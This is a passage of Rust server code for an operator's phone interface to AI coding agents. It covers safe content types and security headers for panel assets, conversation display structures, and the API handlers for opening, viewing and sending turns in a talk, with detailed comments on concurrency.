7071    .await
7072}
7073
7074/// Content type for a panel asset, from a closed whitelist.
7075///
7076/// A whitelist with an `application/octet-stream` fallback rather than a
7077/// guess, because the one answer that must never come out of here is
7078/// `text/html`. An agent that writes `notes.html` into its panel directory and
7079/// links it would otherwise get its own markup rendered at the top level of the
7080/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7081/// magi's origin - which is precisely the thing the panel design exists to
7082/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7083///
7084/// `nosniff` accompanies this on every response, so a browser cannot decide it
7085/// knows better than the type we sent.
7086fn asset_content_type(name: &str) -> &'static str {
7087    match extension(name).as_deref() {
7088        Some("png") => "image/png",
7089        Some("jpg" | "jpeg") => "image/jpeg",
7090        Some("gif") => "image/gif",
7091        Some("webp") => "image/webp",
7092        Some("svg") => "image/svg+xml",
7093        Some("css") => "text/css; charset=utf-8",
7094        Some("txt") => "text/plain; charset=utf-8",
7095        _ => "application/octet-stream",
7096    }
7097}
7098
7099/// Is this an SVG, and therefore a file that must never be opened at the top
7100/// level?
7101fn is_svg(name: &str) -> bool {
7102    extension(name).as_deref() == Some("svg")
7103}
7104
7105/// Lowercased extension, or `None` for a name without one.
7106fn extension(name: &str) -> Option<String> {
7107    name.rsplit_once('.')
7108        .map(|(_, ext)| ext.to_ascii_lowercase())
7109}
7110
7111/// Every panel response, with the four headers that make it safe and, for an
7112/// SVG, a fifth.
7113///
7114/// One function rather than a header list per handler, because a panel route
7115/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7116/// model gone, silently, on one of two routes. Adding a third panel route later
7117/// means calling this, and there is nowhere else to build a panel response.
7118///
7119/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7120/// as an `<img src>` inside the panel that script cannot run - but the asset
7121/// URL is also a plain URL an operator can be talked into opening in a tab,
7122/// where it is a document on magi's own origin. `Content-Disposition:
7123/// attachment` makes the browser download it instead of rendering it, which
7124/// closes that door without taking away the ability to draw a diff. Raster
7125/// images have no such execution surface and are left inline, so tapping a
7126/// screenshot still shows it.
7127fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7128    let mut res = (
7129        [
7130            (header::CONTENT_TYPE, content_type),
7131            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7132            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7133            (header::REFERRER_POLICY, "no-referrer"),
7134        ],
7135        body,
7136    )
7137        .into_response();
7138    if download {
7139        res.headers_mut().insert(
7140            header::CONTENT_DISPOSITION,
7141            HeaderValue::from_static("attachment"),
7142        );
7143    }
7144    res
7145}
7146
7147/// A talk as the phone reads it.
7148///
7149/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7150/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7151/// parses markdown itself - and the process-local `thinking` hint.
7152#[derive(Debug, Serialize)]
7153struct TalkView {
7154    #[serde(flatten)]
7155    talk: Talk,
7156    turn_bodies_md: Vec<Vec<md::Node>>,
7157    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7158    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7159    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7160    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7161    /// this server process.
7162    ///
7163    /// This is deliberately not durable: another server process cannot see
7164    /// it, and a restarted server must not claim an old turn is live. It is a
7165    /// progress hint rather than proof a reply landed; the transcript remains
7166    /// the source of truth for that.
7167    thinking: bool,
7168    /// Context-window usage, derived per request - see
7169    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7170    /// and each mutation) so the phone needs no extra call or polling.
7171    context: talk::ContextUsage,
7172    /// `[talk] operator_name`, when configured; the Chat labels the
7173    /// operator's turns with it.
7174    operator_name: Option<String>,
7175    /// The active persona's display name; `None` for the default voice.
7176    persona_name: Option<String>,
7177    /// URL of the avatar for the conversation's persona (the default voice
7178    /// included). Server-built; a configured `icon` never reaches the client.
7179    persona_avatar: String,
7180    /// Fixed operator avatar; display only and independent of repository config.
7181    operator_avatar: String,
7182    magi_avatar: String,
7183}
7184
7185impl TalkView {
7186    /// Reads the talk's repository config itself; a config that cannot be
7187    /// read leaves the window unknown but never fails the conversation.
7188    fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7189        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7190        Self::with_config(talk, thinking, cfg.as_ref(), home)
7191    }
7192
7193    /// As [`Self::new`], with the config already in hand (the list reads one
7194    /// per repository, not one per conversation).
7195    fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7196        // This owned value is the display DTO; never write it back to the talk store.
7197        let snapshot = talk.clone();
7198        for (index, turn) in talk.turns.iter_mut().enumerate() {
7199            let original = &snapshot.turns[index];
7200            if turn.messages.is_empty() {
7201                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7202                    turn.messages.push(talk::Message {
7203                        sender: Some(talk::Sender::Magi),
7204                        body: original.body.clone(),
7205                        display: Some(display),
7206                        attachments: original.attachments.clone(),
7207                        reply: None,
7208                    });
7209                }
7210            } else {
7211                for (i, message) in turn.messages.iter_mut().enumerate() {
7212                    message.display =
7213                        talk::notice_display(&snapshot, original, original.messages.get(i));
7214                    if message.display.is_some() {
7215                        message.sender = Some(talk::Sender::Magi);
7216                    }
7217                }
7218            }
7219        }
7220        for message in &mut talk.pending_messages {
7221            if message.display.is_none()
7222                && (message.sender == Some(talk::Sender::Magi)
7223                    || snapshot
7224                        .completion_notices
7225                        .iter()
7226                        .any(|r| r.notice == message.body))
7227            {
7228                message.display = crate::prompt::legacy_notice_display(&message.body);
7229                if message.display.is_some() {
7230                    message.sender = Some(talk::Sender::Magi);
7231                }
7232            }
7233        }
7234        if talk.pending_messages.is_empty()
7235            && snapshot
7236                .completion_notices
7237                .iter()
7238                .any(|r| r.notice == talk.pending)
7239            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7240        {
7241            talk.pending_messages.push(talk::Message {
7242                sender: Some(talk::Sender::Magi),
7243                display: Some(display),
7244                body: talk.pending.clone(),
7245                attachments: talk.pending_attachments.clone(),
7246                reply: None,
7247            });
7248        }
7249        let excerpts: Vec<Vec<Option<String>>> = talk
7250            .turns
7251            .iter()
7252            .map(|turn| {
7253                turn.messages
7254                    .iter()
7255                    .map(|m| {
7256                        m.display
7257                            .as_ref()
7258                            .map(|d| d.facts.chars().take(240).collect())
7259                    })
7260                    .collect()
7261            })
7262            .collect();
7263        for turn in &mut talk.turns {
7264            let provenance = talk::sender(turn, None);
7265            turn.sender = Some(provenance);
7266            for message in &mut turn.messages {
7267                message.sender = Some(message.sender.unwrap_or(provenance));
7268            }
7269        }
7270        // Old reply snapshots have only a role; recover provenance from their target.
7271        let senders: Vec<Vec<talk::Sender>> = talk
7272            .turns
7273            .iter()
7274            .map(|turn| {
7275                if turn.messages.is_empty() {
7276                    vec![talk::sender(turn, None)]
7277                } else {
7278                    turn.messages
7279                        .iter()
7280                        .map(|m| talk::sender(turn, Some(m)))
7281                        .collect()
7282                }
7283            })
7284            .collect();
7285        for reply in talk
7286            .turns
7287            .iter_mut()
7288            .flat_map(|t| t.messages.iter_mut())
7289            .chain(talk.pending_messages.iter_mut())
7290            .filter_map(|m| m.reply.as_mut())
7291        {
7292            if let Some(Some(excerpt)) = excerpts
7293                .get(reply.target.turn)
7294                .and_then(|ms| ms.get(reply.target.message))
7295            {
7296                reply.excerpt = excerpt.clone();
7297                reply.sender = Some(talk::Sender::Magi);
7298            }
7299            if reply.sender.is_none() {
7300                reply.sender = senders
7301                    .get(reply.target.turn)
7302                    .and_then(|messages| messages.get(reply.target.message))
7303                    .copied();
7304            }
7305        }
7306        let context = talk::context_usage(&talk, cfg);
7307        let turn_bodies_md = talk
7308            .turns
7309            .iter()
7310            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7311            .collect();
7312        let turn_messages_md = talk
7313            .turns
7314            .iter()
7315            .map(|turn| {
7316                if turn.messages.is_empty() {
7317                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7318                } else {
7319                    turn.messages
7320                        .iter()
7321                        .map(|message| {
7322                            notice_markdown(
7323                                message.sender.unwrap_or(talk::Sender::Operator),
7324                                &message.body,
7325                                message.display.as_ref(),
7326                            )
7327                        })
7328                        .collect()
7329                }
7330            })
7331            .collect();
7332        let pending_messages_md = talk
7333            .pending_messages
7334            .iter()
7335            .map(|message| {
7336                notice_markdown(
7337                    message.sender.unwrap_or(talk::Sender::Operator),
7338                    &message.body,
7339                    message.display.as_ref(),
7340                )
7341            })
7342            .collect();
7343        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7344        let persona_name = persona::find(specs, &talk.persona)
7345            .filter(|p| !p.is_default())
7346            .map(|p| p.name);
7347        let persona_avatar = avatar_url(
7348            &talk.id,
7349            &persona::find(specs, &talk.persona)
7350                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7351        );
7352        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7353        Self {
7354            turn_bodies_md,
7355            turn_messages_md,
7356            pending_messages_md,
7357            thinking,
7358            context,
7359            operator_name,
7360            persona_name,
7361            persona_avatar,
7362            magi_avatar: magi_icon_url(home),
7363            operator_avatar: format!(
7364                "/avatars/operator.svg?v={}",
7365                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7366            ),
7367            talk,
7368        }
7369    }
7370}
7371
7372/// Parse only the user-facing representation of an explicitly identified MAGI send.
7373fn notice_markdown(
7374    sender: talk::Sender,
7375    body: &str,
7376    display: Option<&crate::prompt::NoticeDisplay>,
7377) -> Option<Vec<md::Node>> {
7378    if sender != talk::Sender::Magi {
7379        return None;
7380    }
7381    let text = if let Some(display) = display {
7382        display.facts.as_str()
7383    } else {
7384        // Unknown completion templates may contain internal directives. Never
7385        // promote their agent input to the Markdown display surface.
7386        if crate::prompt::is_completion_notice(body)
7387            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7388        {
7389            return None;
7390        }
7391        body.strip_prefix("magi: ").unwrap_or(body)
7392    };
7393    Some(md::to_nodes(text, &md::ImageBase::None))
7394}
7395
7396/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
7397/// conversation has filed, so the phone can follow one from inside the
7398/// conversation that asked for it rather than hunting the Queue for a task id
7399/// it may not remember.
7400#[derive(Debug, Serialize)]
7401struct TalkDetailView {
7402    #[serde(flatten)]
7403    view: TalkView,
7404    tasks: Vec<TaskView>,
7405    task_progress: TalkTaskProgress,
7406    /// The agents this talk's repository can switch to; empty when its
7407    /// configuration cannot be read, which must not fail the whole detail.
7408    roster: Vec<RosterEntry>,
7409    /// The personas the conversation can pick from. The built-ins are always
7410    /// listed, even when the repository's configuration cannot be read.
7411    personas: Vec<PersonaEntry>,
7412}
7413
7414/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
7415#[derive(Debug, Serialize)]
7416struct TalkTaskProgress {
7417    state: &'static str,
7418    total: usize,
7419    done: usize,
7420    counts: std::collections::BTreeMap<&'static str, usize>,
7421    unfinished_ids: Vec<String>,
7422}
7423
7424fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7425    let mut counts = std::collections::BTreeMap::from([
7426        ("queued", 0),
7427        ("running", 0),
7428        ("done", 0),
7429        ("failed", 0),
7430        ("held", 0),
7431        ("blocked", 0),
7432        ("parked", 0),
7433    ]);
7434    let mut unfinished_ids = Vec::new();
7435    for task in tasks {
7436        *counts.entry(task.status.as_str()).or_default() += 1;
7437        if task.status != TaskStatus::Done {
7438            unfinished_ids.push(task.id.clone());
7439        }
7440    }
7441    TalkTaskProgress {
7442        state: if tasks.is_empty() {
7443            "none"
7444        } else if unfinished_ids.is_empty() {
7445            "complete"
7446        } else {
7447            "incomplete"
7448        },
7449        total: tasks.len(),
7450        done: tasks.len() - unfinished_ids.len(),
7451        counts,
7452        unfinished_ids,
7453    }
7454}
7455
7456/// One persona as the talk's persona selector shows it.
7457#[derive(Debug, Serialize)]
7458struct PersonaEntry {
7459    id: String,
7460    name: String,
7461    /// Avatar URL, see [`TalkView::persona_avatar`].
7462    avatar: String,
7463}
7464
7465/// One roster agent as the talk's agent selector shows it.
7466#[derive(Debug, Serialize)]
7467struct RosterEntry {
7468    id: String,
7469    kind: AgentKind,
7470    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
7471    runnable: bool,
7472}
7473
7474/// `GET /api/talks`.
7475///
7476/// Every conversation, open ones first and newest first - [`Talks::list`]'s
7477/// own order.
7478async fn talks_list(
7479    State(ui): State<Arc<Ui>>,
7480    Query(q): Query<ListQuery>,
7481) -> ApiResult<Json<Vec<TalkView>>> {
7482    blocking(move || {
7483        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7484        Ok(Json(
7485            ui.talks
7486                .list()
7487                .into_iter()
7488                .filter(|talk| q.contains(&talk.id))
7489                .map(|talk| {
7490                    let thinking = ui.is_thinking(&talk.id);
7491                    let cfg = configs
7492                        .entry(talk.repo.clone())
7493                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7494                    TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7495                })
7496                .collect(),
7497        ))
7498    })
7499    .await
7500}
7501
7502/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
7503/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
7504/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
7505/// end still opens a talk against an older binary.
7506#[derive(Debug, Default, Deserialize)]
7507#[serde(default)]
7508struct NewTalk {
7509    agent: Option<String>,
7510    repo: Option<PathBuf>,
7511    /// Remembered choices from the browser. Soft: kept as raw JSON so a
7512    /// wrong type is dropped like a stale value instead of failing the request;
7513    /// each falls back to its default on its own (see [`talk::begin_with`]).
7514    preferred_agent: Option<serde_json::Value>,
7515    persona: Option<serde_json::Value>,
7516    implementers: Option<serde_json::Value>,
7517}
7518
7519/// `POST /api/talks` - open a conversation. Takes no agent turn: see
7520/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
7521async fn talk_post(
7522    State(ui): State<Arc<Ui>>,
7523    body: std::result::Result<Json<NewTalk>, JsonRejection>,
7524) -> ApiResult<impl IntoResponse> {
7525    // An absent body, or an empty one, is the normal way to open a talk - see
7526    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
7527    // rather than refused.
7528    let body = match body {
7529        Ok(Json(body)) => body,
7530        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7531        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7532    };
7533    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7534    let cfg = config_for(&repo).await?;
7535    let view = blocking(move || {
7536        let preferred = talk::Preferred {
7537            agent: body
7538                .preferred_agent
7539                .as_ref()
7540                .and_then(|v| v.as_str())
7541                .map(str::to_owned),
7542            persona: body
7543                .persona
7544                .as_ref()
7545                .and_then(|v| v.as_str())
7546                .map(str::to_owned),
7547            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7548        };
7549        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7550        let thinking = ui.is_thinking(&talk.id);
7551        Ok(TalkView::new(talk, thinking, &ui.home))
7552    })
7553    .await?;
7554    Ok((StatusCode::CREATED, Json(view)))
7555}
7556
7557/// `GET /api/talks/{id}`.
7558async fn talk_detail(
7559    State(ui): State<Arc<Ui>>,
7560    Path(id): Path<String>,
7561) -> ApiResult<Json<TalkDetailView>> {
7562    blocking(move || {
7563        let id = resolve_talk(&ui.talks, &id)?;
7564        let talk = ui.talks.get(&id)?;
7565        let thinking = ui.is_thinking(&talk.id);
7566        let tasks = talk::tasks_of(&ui.queue, &talk.id);
7567        let task_progress = talk_task_progress(&tasks);
7568        let tasks = tasks.into_iter().map(TaskView::from).collect();
7569        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7570        let roster = cfg
7571            .as_ref()
7572            .map(|cfg| {
7573                cfg.agents
7574                    .iter()
7575                    .map(|a| RosterEntry {
7576                        id: a.id.clone(),
7577                        kind: a.kind,
7578                        runnable: agent::installed(a),
7579                    })
7580                    .collect()
7581            })
7582            .unwrap_or_default();
7583        let specs = cfg
7584            .as_ref()
7585            .map(|cfg| cfg.talk.personas.clone())
7586            .unwrap_or_default();
7587        let personas = persona::catalog(&specs)
7588            .into_iter()
7589            .map(|p| PersonaEntry {
7590                avatar: avatar_url(&talk.id, &p),
7591                id: p.id,
7592                name: p.name,
7593            })
7594            .collect();
7595        Ok(Json(TalkDetailView {
7596            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7597            tasks,
7598            task_progress,
7599            roster,
7600            personas,
7601        }))
7602    })
7603    .await
7604}
7605
7606/// The body of `POST /api/talks/{id}/say`.
7607///
7608/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7609/// returned - never bytes of its own - so a turn with no images just omits
7610/// the field, which is what an older front end still does.
7611#[derive(Debug, Default, Deserialize)]
7612#[serde(default, deny_unknown_fields)]
7613struct NewTalkTurn {
7614    reply_to: Option<talk::ReplyTarget>,
7615    text: String,
7616    attachments: Vec<String>,
7617}
7618
7619#[derive(Debug, Deserialize)]
7620#[serde(deny_unknown_fields)]
7621struct EditTalkPending {
7622    #[serde(default)]
7623    message: Option<usize>,
7624    text: String,
7625    expected_text: String,
7626    expected_attachments: Vec<String>,
7627}
7628
7629#[derive(Debug, Deserialize)]
7630#[serde(deny_unknown_fields)]
7631struct ClearTalkPending {
7632    expected_text: String,
7633    expected_attachments: Vec<String>,
7634}
7635
7636/// `POST /api/talks/{id}/say` - one turn of the conversation.
7637///
7638/// Not filesystem work, and therefore not routed through [`blocking`]: this
7639/// route spawns an agent CLI and a turn here can run for the whole of
7640/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7641/// research turn is expected to run commands rather than answer from what it
7642/// already knows. Holding an HTTP connection open that long is not a thing
7643/// to ask a phone to do; the operator's message is recorded and answered for
7644/// immediately, and the reply lands in the background, discovered through
7645/// the change stream's `talks_rev` the same way every other update on this
7646/// surface is.
7647async fn talk_say(
7648    State(ui): State<Arc<Ui>>,
7649    Path(id): Path<String>,
7650    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7651) -> ApiResult<(StatusCode, Json<TalkView>)> {
7652    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7653    if body.text.trim().is_empty() && body.attachments.is_empty() {
7654        return Err(ApiError::bad_request("say something"));
7655    }
7656
7657    let id = {
7658        let ui = Arc::clone(&ui);
7659        let asked = id.clone();
7660        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7661    };
7662    // A closed Talk never accepts a new immediate or queued turn. Check this
7663    // before claiming a slot so its ordinary domain refusal is a 409, not an
7664    // incidental failure from the later record/queue write.
7665    {
7666        let ui = Arc::clone(&ui);
7667        let id = id.clone();
7668        blocking(move || {
7669            let talk = ui.talks.get(&id)?;
7670            if !talk.status.open() {
7671                return Err(ApiError::conflict(format!(
7672                    "talk {} is {} and takes no more turns",
7673                    talk.short(),
7674                    talk.status.as_str()
7675                )));
7676            }
7677            Ok(())
7678        })
7679        .await?;
7680    }
7681
7682    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7683    // actually stores, before anything is written - an unknown id is a 4xx
7684    // that names it rather than a turn (or a queued draft) silently missing
7685    // an image.
7686    let attachments = {
7687        let ui = Arc::clone(&ui);
7688        let id = id.clone();
7689        let ids = body.attachments.clone();
7690        blocking(move || {
7691            ids.into_iter()
7692                .map(|att_id| {
7693                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7694                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7695                    })
7696                })
7697                .collect::<ApiResult<Vec<talk::Attachment>>>()
7698        })
7699        .await?
7700    };
7701
7702    // Pending recovery and a new immediate turn are decided under the same
7703    // claim lock. Without that one critical section, a second `/say` can see
7704    // the first request's claim as "busy" and append itself to the recovered
7705    // draft before the first request rejects it.
7706    let start = {
7707        let ui = Arc::clone(&ui);
7708        let id = id.clone();
7709        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7710    };
7711    let turn_guard = match start {
7712        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7713        TalkTurnStart::Pending => {
7714            return Err(ApiError::conflict(
7715                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7716            ));
7717        }
7718        TalkTurnStart::Foreign => {
7719            return Err(ApiError::conflict(
7720                "a turn is already running in another process; try again when it has finished",
7721            ));
7722        }
7723        TalkTurnStart::Busy => {
7724            // A turn is already running: queue rather than refuse. See
7725            // `Ui::begin_talk_turn` and `talk::queue`.
7726            //
7727            // The queue write and the drain it may owe live inside the task
7728            // `tokio::spawn` hands to the runtime, for the same reason the
7729            // immediate path below puts `record` there: a dropped handler
7730            // future must not be able to land between a durable write and
7731            // the task that answers it. `blocking` runs its closure on
7732            // `spawn_blocking`, which finishes whether or not anyone is left
7733            // to receive its result - so a disconnect at the `.await` below
7734            // would otherwise leave the draft persisted and the reclaimed
7735            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7736            // ever started and the queued text stranded until some later
7737            // `say` happened to pick it up. The caller's 202 travels back
7738            // over a `oneshot`, sent the moment the write lands.
7739            let (tx, rx) = tokio::sync::oneshot::channel();
7740            tokio::spawn({
7741                let ui = Arc::clone(&ui);
7742                let id = id.clone();
7743                let said = body.text.clone();
7744                let reply_to = body.reply_to.clone();
7745                async move {
7746                    let written = blocking({
7747                        let ui = Arc::clone(&ui);
7748                        let id = id.clone();
7749                        move || {
7750                            let mut talk = ui.talks.get(&id)?;
7751                            // A test-only stop point, right before the write
7752                            // an interleaving test needs to pin - see
7753                            // `BusyQueueGate`. `None` in every real server:
7754                            // the field only exists under `#[cfg(test)]`.
7755                            #[cfg(test)]
7756                            if let Some(gate) = ui
7757                                .busy_queue_gate
7758                                .lock()
7759                                .unwrap_or_else(PoisonError::into_inner)
7760                                .take()
7761                            {
7762                                let _ = gate.reached.send(());
7763                                let _ = gate.release.recv();
7764                            }
7765                            if let Err(error) = talk::queue_reply(
7766                                &mut talk,
7767                                &ui.talks,
7768                                &said,
7769                                attachments,
7770                                reply_to,
7771                            ) {
7772                                if let Ok(fresh) = ui.talks.get(&id) {
7773                                    if !fresh.status.open() {
7774                                        return Err(ApiError::conflict(format!(
7775                                            "talk {} is {} and takes no more turns",
7776                                            fresh.short(),
7777                                            fresh.status.as_str()
7778                                        )));
7779                                    }
7780                                }
7781                                return Err(
7782                                    if error.to_string().contains("invalid reply target") {
7783                                        ApiError::bad_request("invalid reply target")
7784                                    } else {
7785                                        ApiError::from(error)
7786                                    },
7787                                );
7788                            }
7789                            // The turn that looked busy a moment ago can have
7790                            // finished, found nothing to drain and given up the
7791                            // slot in the gap between that check and this write
7792                            // landing - see `drain_loop`'s own doc for the other
7793                            // half of why that gap would otherwise be able to
7794                            // open at all. Reclaiming the slot here, rather than
7795                            // trusting that whoever held it is still watching, is
7796                            // what stops the text just queued from being stranded
7797                            // until an unrelated future `say` happens to drain
7798                            // it.
7799                            let claim = match ui.begin_queued_talk_turn(&id)? {
7800                                Some(turn_guard) => {
7801                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7802                                    Some((talk.clone(), cfg, turn_guard))
7803                                }
7804                                None => None,
7805                            };
7806                            let thinking = ui.is_thinking(&id);
7807                            Ok((TalkView::new(talk, thinking, &ui.home), claim))
7808                        }
7809                    })
7810                    .await;
7811                    let (view, reclaimed) = match written {
7812                        Ok(pair) => pair,
7813                        Err(e) => {
7814                            // Nobody is listening if the handler's own future
7815                            // was already dropped - that is fine, nothing was
7816                            // persisted and there is no response left to carry
7817                            // this error to.
7818                            let _ = tx.send(Err(e));
7819                            return;
7820                        }
7821                    };
7822                    // If this fails, the caller is gone; the drain below still
7823                    // runs exactly as it would have for a caller that stayed.
7824                    let _ = tx.send(Ok(view));
7825                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7826                        let talks = ui.talks.clone();
7827                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7828                    }
7829                }
7830            });
7831            let view = rx
7832                .await
7833                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7834            return Ok((StatusCode::ACCEPTED, Json(view)));
7835        }
7836    };
7837
7838    let (talk, cfg) = {
7839        let ui = Arc::clone(&ui);
7840        let id = id.clone();
7841        blocking(move || {
7842            let talk = ui.talks.get(&id)?;
7843            let (cfg, _) = Config::discover(&talk.repo, None)?;
7844            Ok((talk, cfg))
7845        })
7846        .await?
7847    };
7848
7849    let talks = ui.talks.clone();
7850    // `record` runs *inside* the spawned task, rather than in this handler
7851    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7852    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7853    // doc), and that drop can land at any `.await` this function makes,
7854    // including one that has already produced its result but not yet
7855    // resumed. A message could end up recorded on disk with the handler
7856    // future gone before it ever reached the `tokio::spawn` that would have
7857    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7858    // that hands the whole future to the runtime as one unit - once made, no
7859    // later drop of *this* handler's own future (that call's return value is
7860    // never held onto here) can reach back in and stop it, so record and the
7861    // hand-off to `respond` are unconditionally atomic from the client's
7862    // point of view. The immediate response this handler owes the caller
7863    // travels back over a `oneshot`, sent the moment `record` succeeds.
7864    let (tx, rx) = tokio::sync::oneshot::channel();
7865    tokio::spawn({
7866        let ui = Arc::clone(&ui);
7867        let talks = talks.clone();
7868        let id = id.clone();
7869        let said = body.text.clone();
7870        let reply_to = body.reply_to.clone();
7871        let mut talk = talk.clone();
7872        async move {
7873            let recorded = blocking({
7874                let talks = talks.clone();
7875                move || {
7876                    if let Err(error) =
7877                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7878                    {
7879                        if let Ok(fresh) = talks.get(&talk.id) {
7880                            if !fresh.status.open() {
7881                                return Err(ApiError::conflict(format!(
7882                                    "talk {} is {} and takes no more turns",
7883                                    fresh.short(),
7884                                    fresh.status.as_str()
7885                                )));
7886                            }
7887                        }
7888                        return Err(if error.to_string().contains("invalid reply target") {
7889                            ApiError::bad_request("invalid reply target")
7890                        } else {
7891                            ApiError::from(error)
7892                        });
7893                    }
7894                    // `record` mutates `talk` in place to the freshly persisted
7895                    // state (status, pending, and the just-appended operator
7896                    // turn), so returning it here is equivalent to re-reading it
7897                    // from disk - without the extra round trip a re-read would
7898                    // need.
7899                    Ok((said.trim().to_owned(), talk))
7900                }
7901            })
7902            .await;
7903            let (text, mut talk) = match recorded {
7904                Ok(pair) => pair,
7905                Err(e) => {
7906                    // Nobody is listening if the handler's own future was
7907                    // already dropped - that is fine, there is no response
7908                    // left to carry this error to and nothing was persisted.
7909                    let _ = tx.send(Err(e));
7910                    return;
7911                }
7912            };
7913            let queued = talk.clone();
7914            let thinking = ui.is_thinking(&id);
7915            // If this fails, the caller is gone; the turn still runs below
7916            // exactly as it would have for a caller that stayed connected.
7917            let _ = tx.send(Ok((queued, thinking)));
7918
7919            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7920                // `respond` records the failure in the transcript itself,
7921                // which is what the phone reads; this line is for the
7922                // operator's terminal.
7923                tracing::warn!("talk {id} turn failed: {e:#}");
7924            }
7925            // Anything `talk::queue` added while the turn above was running
7926            // is still owed an answer - see `drain_loop`.
7927            drain_loop(talk, talks, cfg, id, turn_guard).await;
7928        }
7929    });
7930
7931    let (queued, thinking) = rx
7932        .await
7933        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7934
7935    // 202: the operator's message is recorded and a turn is running.
7936    Ok((
7937        StatusCode::ACCEPTED,
7938        Json(TalkView::new(queued, thinking, &ui.home)),
7939    ))
7940}
7941
7942/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7943/// changing it. The turn guard is the same per-talk ownership `talk_say`
7944/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7945async fn talk_pending_resume(
7946    State(ui): State<Arc<Ui>>,
7947    Path(id): Path<String>,
7948) -> ApiResult<(StatusCode, Json<TalkView>)> {
7949    let id = {
7950        let ui = Arc::clone(&ui);
7951        let asked = id.clone();
7952        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7953    };
7954    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7955        return Err(ApiError::conflict(
7956            "a talk turn is already running; the queued draft will be handled by it",
7957        ));
7958    };
7959    let (talk, cfg) = {
7960        let ui = Arc::clone(&ui);
7961        let id = id.clone();
7962        blocking(move || {
7963            let talk = ui.talks.get(&id)?;
7964            if !talk.status.open() {
7965                return Err(ApiError::conflict(format!(
7966                    "talk {} is {} and takes no more turns",
7967                    talk.short(),
7968                    talk.status.as_str()
7969                )));
7970            }
7971            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7972                return Err(ApiError::conflict("there is no queued draft to resume"));
7973            }
7974            let (cfg, _) = Config::discover(&talk.repo, None)?;
7975            Ok((talk, cfg))
7976        })
7977        .await?
7978    };
7979    let view = TalkView::new(talk.clone(), true, &ui.home);
7980    let talks = ui.talks.clone();
7981    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7982    Ok((StatusCode::ACCEPTED, Json(view)))
7983}
7984
7985/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7986/// releasing `turn` only once a check finds it truly empty. Shared by both
7987/// callers that can end up owning a talk's turn slot with something already
7988/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
